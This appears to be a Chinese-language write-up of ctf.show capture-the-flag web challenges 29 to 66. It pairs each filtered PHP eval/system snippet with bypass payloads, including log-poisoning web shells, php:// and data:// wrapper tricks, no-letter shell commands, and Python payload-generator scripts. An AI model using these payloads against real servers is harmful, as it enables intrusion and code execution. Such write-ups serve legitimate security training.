一.前置知识

好像也没什么需要提前知道的,在题目中慢慢积累总结就行

具体的可以参考下写的另一篇文章linux基础

二.题目

web29(过滤flag)

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

在输入中过滤flag,通过通配符?或者*即可绕过(?表示匹配一个字符,*表示匹配多个字符)

c=system("ls");

image-20250219220657439

c=system("cat f*.php");   //由于注释,需在源代码中找到flag
c=system("tac f*.php"); //倒序可以直接输出flag
c=echo `tac f*`;
c=eval($_GET[1]);&1=system('cat f*.php');
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //?>用来绕过分号,作为语句结束,原理为:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。用include来读取文件,由于文件内容被注释,所以需要编码返回
c=system("cp f*.php a.txt"); //复制到a.txt,访问a.txt获得flag
c=file_put_contents("1.php",'<?php eval($_POST["cmd"]);?>'); //写一句话木马到1.php中,蚁剑连或者直接命令执行都行,没有了对flag的限制

web30(+system|php)

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

在php中,passthru()可以作为system()的等效,因此替换即可

c=passthru("ls");

image-20250220121549353

c=passthru("cat f*");
c=passthru("tac f*");
c=passthru("cp f* a.txt");

web31(+cat|sort|shell|.| |')

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

使用tac,less,more等绕过cat,空格用%09或${IFS}代替

c=passthru("ls");

image-20250220122549033

c=passthru("tac%09f*");
c=passthru("less%09f*"); //源码
c=passthru("more%09f*"); //源码
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=eval($_GET[a]);&a=system('cat flag.php');

注意一个稍微复杂的payload

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

web32(+`|echo|;|()(日志注入)

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了括号,echo,分号,所以直接包含文件就行,先通过日志文件找到flag位置(涉及到文件包含)

我们通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log

c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log

image-20250220124635941

成功读取日志,观察到日志中含有UA,现在只需要向UA写入一句话木马,然后通过日志文件就可以任意命令执行了

https://7c4e939c-f7d2-4b3c-b150-41303288fe01.challenge.ctf.show/?c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log
此时将UA设置为<?php eval($_POST[123]);?>,bp传进去后发现没有被解析就是传入成功了,类似下图倒二倒三,此时直接正常命令执行就可以了

image-20250220130130896

123=system('tac flag.php');

image-20250220130318166

当然,在已知flag在flag.php后也可以直接包含该文件

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

image-20250220130526105

解码获得flag

image-20250220130557960

web33(+")(日志注入/data协议/php协议)

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

还过滤了双引号,按照web32还是能做

日志注入

c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log
UA:<?php eval($_POST[123]);?>
123=system("tac flag.php");

image-20250220164343750

data协议

c=include$_GET[a]?>&a=data://text/plain,<?php system("ls")?>

image-20250220164703349

c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

image-20250220164853297

php协议(知晓文件名)

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

image-20250220165632133

web34(+:)

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

加了一个对冒号的过滤,但实际上和web33方法相同,因为检测只检测c的值,而传参时c=include$_GET[a]?>不会被过滤

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
c=include$_GET[a]?>&a=data://text/plain,<?php echo shell_exec("tac flag.php")?>
还有日志注入同理,不再演示

web35(+<|=)

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

添加尖角符和等号,由于没有过滤>,因此还是同web34

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
c=include$_GET[a]?>&a=data://text/plain,<?php echo shell_exec("tac flag.php")?>
还有日志注入同理,不再演示

web36(+/|[0-9])

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤/和数字,还是同上(主要是c的部分没有被过滤就行),唯一可能就是如果传参不是a而是一个数字那这个题就要进行对应更换

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
c=include$_GET[a]?>&a=data://text/plain,<?php echo shell_exec("tac flag.php")?>
还有日志注入同理,不再演示

web37(文件包含过滤flag)(日志注入/data伪协议)

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

一看换题型了,不再只是单纯的eval()函数了,但是再一看还是和前面类似的

日志注入

c=../../../../var/log/nginx/access.log
UA:<?php eval($_POST[123]);?>
然后
123=system("tac flag.php");
但是光眼睛找挺费眼的,还是搜索快

image-20250220174829903

data伪协议

c=data://text/plain,<?php system("tac f*.php")?>
c=data://text/plain;base64,PD9waHAKc3lzdGVtKCJ0YWMgZmxhZy5waHAiKQo/Pg==
原始如下
<?php
system("tac flag.php")
?>
注意这里base64编码时换行符是必须需要的,<?php system("tac flag.php")?>则不行

image-20250220175055143

web38(+php|file)

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

还是直接data伪协议就行了,但是注意由于php被过滤,就必须编码了

c=data://text/plain;base64,PD9waHAKc3lzdGVtKCJ0YWMgZmxhZy5waHAiKQo/Pg==

image-20250221231710817

日志上传也没问题

image-20250221231958152

web39(已添加后缀php)

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

后面加上了后缀,但是可以注释掉

GET:c=data://text/plain,<?php eval($_POST[cmd])?>//
POST:cmd=system("ls"); cmd=system("tac flag.php");

image-20250222125315115

.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

日志注入由于闭合不了,因此该题不能用了

web40(过滤数字等)

<?php

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

首先要注意,这里过滤的不是英文小括号而是中文小括号,因此参考web29的rce

GET:c=eval(array_pop(next(get_defined_vars())));
POST:1=system("tac fl*");
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

c=show_source(next(array_reverse(scandir(getcwd()))));
解释:
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

web41(通过|来rce)

<?php

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

禁用了挺多字符,导致取反、自增、异或都不能使用,留下了|来进行rce

补充:在进行或运算时,两个字符或运算其实是通过二进制的或运算来实现,例如

01000001 (A) | 01000010 (B) -------- 01000011 (C)

因此我们可以先找到未被过滤的字符来进行或运算,从而得到绕过字符的ASCII值

这里给个一体化的脚本,对这个题来说直接输入url就行

import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

但是对常规题型来说,首先要有一个找到所有组合的脚本

def main():
result = []

for i in range(256):
for j in range(256):
# 将十进制转换为两位十六进制
hex_i = f'{i:02x}'
hex_j = f'{j:02x}'

# 检查是否包含特定字符
try:
byte_i = bytes.fromhex(hex_i).decode('latin1', errors='ignore')
byte_j = bytes.fromhex(hex_j).decode('latin1', errors='ignore')

if any(c in byte_i or c in byte_j
for c in '0123456789abcdefghijklmnopqrstuvwxyz^+~$[]{}&-'):
continue

# 处理和检查字符
a = f'%{hex_i}'
b = f'%{hex_j}'
c = chr(ord(byte_i) | ord(byte_j))

# 检查是否为可打印字符(ASCII 32-126)
if 32 <= ord(c) <= 126:
result.append(f"{c} {a} {b}")
except ValueError:
continue

# 将结果写入 rce_or.txt 文件并打印
with open('rce_or.txt', 'w', encoding='utf-8') as f:
f.write("\n".join(result))

print("已成功生成文件rce_or.txt")

if __name__ == "__main__":
main()

运行后会保存所有结果到python代码文件夹下的rce_or.txt文件,然后读取该文件运行即可

import requests
import urllib.parse
import os
def read_rce_or_file(char):
try:
# 直接从当前目录读取 rce_or.txt 文件
with open("rce_or.txt", "r", encoding='utf-8') as f:
lines = f.readlines()
for line in lines:
if line.startswith(char):
return line[2:5], line[6:9]
raise ValueError(f"字符 '{char}' 在 rce_or.txt 中未找到对应的编码")
except FileNotFoundError:
print("[!] 错误: 文件 rce_or.txt 不存在,请确保文件路径正确。")
exit(1)
except Exception as e:
print(f"[!] 错误: 读取 rce_or.txt 文件时出错: {e}")
exit(1)

def action(arg):
s1 = ""
s2 = ""
for i in arg:
try:
part1, part2 = read_rce_or_file(i)
s1 += part1
s2 += part2
except ValueError as e:
print(e)
exit(1)
return "(\"{}\"|\"{}\")".format(s1, s2)

def main():
try:
url = input("[+] 请输入URL:").strip()
if not url:
print("[!] 错误: URL不能为空。")
exit(1)

function_input = input("[+] 函数名:").strip()
command_input = input("[+] 命令:").strip()

if not function_input or not command_input:
print("[!] 错误: 函数名和命令不能为空。")
exit(1)

param = action(function_input) + action(command_input)
data = {'c': urllib.parse.unquote(param)}

response = requests.post(url, data=data, timeout=10)
print("\n[*] 结果:\n" + response.text)
except requests.exceptions.RequestException as e:
print(f"[!] 错误: 请求发送失败: {e}")
except Exception as e:
print(f"[!] 错误: 发生未知错误: {e}")

if __name__ == "__main__":
main()

image-20250222200543196

web42(不回显,隔开就行)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

具体来说是将c命令的输出重定向到 /dev/null 并且将错误输出也重定向到相同的地方。这意味着无论这个命令产生了什么标准输出或错误信息,都不会显示出来。

这个命令简单来说也就是不回显,所以通过;来隔开就行了

c=ls;
c=tac f*;
一定要分号

还有一些隔开方法

; //分号
%0a //换行符
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
注意,使用&时需要url编码

web43(过滤;|cat)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

把分号过滤,用其他分隔符就行了

c=tac flag.php||ls
c=tac flag.php%26%26ls //即c=tac flag.php&&ls
c=tac flag.php%0a

web44(+flag)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了flag,通过通配符绕过就行

c=tac f*||ls
c=tac f*%26%26ls
c=tac f*%0a

web45(+空格)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了空格,通过换行符或者${IFS}绕过

c=tac%09f*||ls
c=tac${IFS}f*||ls

web46(+数字|$|*)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了数字、通配符*、${IFS},通过<和’’绕过,反斜杠绕过也行

c=tac<fla''g.php||
c=ta\c<fl\ag.php||
c=tac%09fla?.php||
c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响

注意,这里不能使用<和通配符?组合,比如c=tac<fla?.php

原因为在php中默认shell为sh,如果tac<fla?.php,会真的去寻找fla?.php这个文件,而不是flag.php这个文件,通配符未起到作用,所以不能正常使用

web47(+more|less|head|sort|tail)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了一些读文件的操作,和上题一样用tac读就行了

c=tac<fla''g.php||
c=ta\c<fl\ag.php||
c=tac%09fla?.php||
c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响
c=nl%09fla''g.php|| //源码,nl命令用于对文本文件的行进行编号后输出

image-20250225185431744

web48(+sed|cut|awk|strings|od|curl|`)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

还是直接同web47就行

c=tac<fla''g.php||
c=ta\c<fl\ag.php||
c=tac%09fla?.php||
c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响
c=nl%09fla''g.php|| //源码

web49(+%)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

同理

c=tac<fla''g.php||
c=ta\c<fl\ag.php||
c=tac%09fla?.php||
c=tac%09fla''g.php|| //注意虽然会过滤数字,但是会先转换,即先转换为换行符,所以无影响
c=nl%09fla''g.php|| //源码

web50(+\x09|\x26)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

添加了\x09(tab)和\x26(&)两个Unicode编码,但是不影响,不用%09绕过空格而是用<绕过就行了

c=tac<fla''g.php||
c=ta\c<fl\ag.php||
c=nl<fla''g.php|| //源码

web51(+tac)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

好像和50没区别?怪怪的,但是思路相同

c=tac<fla''g.php||
c=ta\c<fl\ag.php||
c=nl<fla''g.php|| //源码

好吧,测试时第一个payload不成功,测出来tac被过滤了,反斜杠绕过即可又看了一遍才发现tac在中间,眼瞎了

c=ta\c<fl\ag.php||
c=nl<fla''g.php|| //源码
c=vi<fla\g.php|| //vi是一个文本编辑器,但它可以用来查看文件。<flag.php 会将文件内容作为输入传递给 vi

web52(+<|>)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了<,空格要重新绕了,但是注意到过滤中把$放出来了,所以直接${IFS}绕过

c=ta\c${IFS}fl\ag.php||
c=nl${IFS}fla''g.php|| //源码
c=vi${IFS}fla\g.php|| //vi是一个文本编辑器,但它可以用来查看文件。flag.php 会将文件内容作为输入传递给 vi

发现并没有flag的值,试试ls /看看

c=ls${IFS}/||

看到flag了,原来放在根目录下,直接读取就行

c=ta\c${IFS}/fl\ag||
c=nl${IFS}/fla''g|| //源码
c=vi${IFS}/fla\g|| //vi是一个文本编辑器,但它可以用来查看文件。flag.php 会将文件内容作为输入传递给 vi

web53(同上)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

原先还以为题目不一样了,细看还是差不多,只不过会先将输入命令输出后换行输出结果,并且不用隔开了

c=ls

image-20250225195821648

c=ta\c${IFS}fla\g.php
c=nl${IFS}fla\g.php
c=ca\t${IFS}fla\g.php
c=ca$@t${IFS}fla?.php //$@是一个特殊的变量,代表命令行的所有参数。在Shell中解释:假设$@ 是空的则 ca$@t可能被解析为cat

web54(+只要payload按顺序出现黑名单中字符就ban)

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

.* 表示任何字符序列,所以即使中间有空格或者其他字符插入,只要能拼出“cat”或者“flag”,就会被匹配到。因此只能使用一些其他命令

c=ls  //flag.php index.php
c=/bin/ca?${IFS}f???.??? //把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,绕过cat限制,查看源码即可
c=grep${IFS}'fla'${IFS}f???.??? //查找包含字符串'fla'的行后输出
c=uniq${IFS}f???.php //uniq从排序后的文件中删除或报告重复的行,这里直接源码中就可找到flag
c=vi${IFS}fl??.php //源码中可找到flag
c=rev${IFS}fla?.php //将每一行的字符顺序反转,所以获得反的flag

这里在测试payload时发现个问题,奇奇怪怪

c=/bin/ca?${IFS}f???.???  √
c=/bin/ca?${IFS}fl??.??? ×
c=uniq${IFS}f???.php √
c=uniq${IFS}fl??.php ×
c=vi${IFS}f???.php √
c=vi${IFS}fl??.php √

好吧,最后发现是由于题目还过滤了nl的原因,二四这两个payload都构造出了nl被过滤了

总结

语句隔开方法

; //分号
%0a //换行符
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
注意,使用&时需要url编码

空格绕过方法

< //重定向操作符,表示从文件读取输入。
%09 //tab
${IFS} //Unix/Linux Shell中的一个环境变量,用于定义shell在分割字符串为单词时所使用的分隔符。默认情况下,IFS 包含空格、制表符(Tab)和换行符

flag绕过方法

fla''g.php //通过''隔开,在 PHP 中,单引号是字符串的界定符,但如果两个单引号连在一起,PHP 会把它们当作一个空字符串来处理,因此处理后仍为flag.php
fla?.php/f* //通配符,找到匹配的文件输出,?表示匹配单个字符,*表示匹配多个字符
fl\ag.php //反斜杠绕过,\是转义字符。如果这个字符串是双引号括起来的,那 \a 就会被解析为 ASCII 的报警字符(\x07);但如果是单引号括起来的,\ 就不会转义,而是保留为普通字符。比如'fl\ag.php'结果是字符串 "fl\ag.php","fl\ag.php"结果是字符串 "fl\x07g.php"

web55(无字母rce)

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

把所有字母全部ban了

基础

通过通配符或者八进制绕过

c=/???/????64 ????.???  //原始为c=/bin/base64 flag.php,即base64编码后输出,这个不是通用的,因为base64不是每个机器都有
c=$'\143\141\164'%20* //原始为c=$'cat' *,传参后源码找到
c=$'\164\141\143' $'\146\154\141\147\56\160\150\160' //原始为c=$'cat' $'flag/php'
c=/???/???/????2 ????.??? //原始为c=/usr/bin/bzip2 flag.php,把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来

进阶(.的执行命令用法)

主要是通过.在php中的用法,即相当于source 可以执行sh命令。

我们可以通过post一个文件(文件里面含有sh命令),在上传的过程中,通过.(点)去执行这个文件(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。

那么首先先构造一个上传文件的请求包,本地html打开抓包如下图

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://f794d624-66b3-443e-b991-48ed3074347e.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image-20250301204122774

然后添加参数?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。并且该题过滤了字母,所以不能直接写成/tmp/php?????[@-[]

并且将文件内容改为如下

#!/bin/sh
ls

image-20250301204433761

注意这里不一定成功,需要多尝试几次

然后直接读flag就行了

image-20250301204530920

web56(无字母数字rce)

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

把数字和$也一起ban了,因此上题的基础方法都不行了,通过.的执行来获取flag

这里偷个懒,由于上题重发器还没关,直接更改host就出答案了

image-20250301210430682

web57($(( ))用法)

<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

把cat命令都写出来了,意思也就是只要传参c=36就行了

echo ${#} //0
echo ${##} //1
echo $((${##}+${##})) //2
echo $(($((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##})))) //36

首先要知道双小括号的用处:

双小括号(( ))是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。

表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。

可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以c=$((a+b))为例,即将 a+b 这个表达式的运算结果赋值给变量 c。

注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
还要知道$(())的值是0。此外,关于取反,如果b=~a,那么a+b=-1。

由上述可知,想获得36,就需要对-37进行取反。

下面给个python脚本

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))" # -1
a=int(input("请输入要获得的数:"))
payload = get_reverse_number.format(negative_one*(a+1))
print(payload)

最终payload

c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

源码获得flag

image-20250301212939345

web58(过滤命令执行函数)

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

?直接传参好像就能实现?

c=system("ls");

但是提示system()被禁用

image-20250301213506878

试试passthru()?也被禁了,那应该是能执行命令的都被禁了,尝试伪协议

php伪协议

c=include($_POST[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php

成功拿到flag

highlight_file命令

看了wp,还可以直接用命令来实现

c=highlight_file("flag.php");

至于日志注入由于也要用到system(),所以这个题不能使用

如果想要找到文件名,可以通过下面的命令

c=print_r(scandir(dirname('FILE')));

补充

读取文件的函数

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

代码执行函数

eval()
assert()
call_user_func()
create_function()
array_map()
\******call_user_func_array()
array_filter()
uasort()
preg_replace()

命令执行函数

system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()/proc_popen()
反引号 ``

web59-65(同上)

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

两种解法均同上

c=highlight_file("flag.php");
c=include($_POST[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php

web66(重点如何找到flag文件)

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
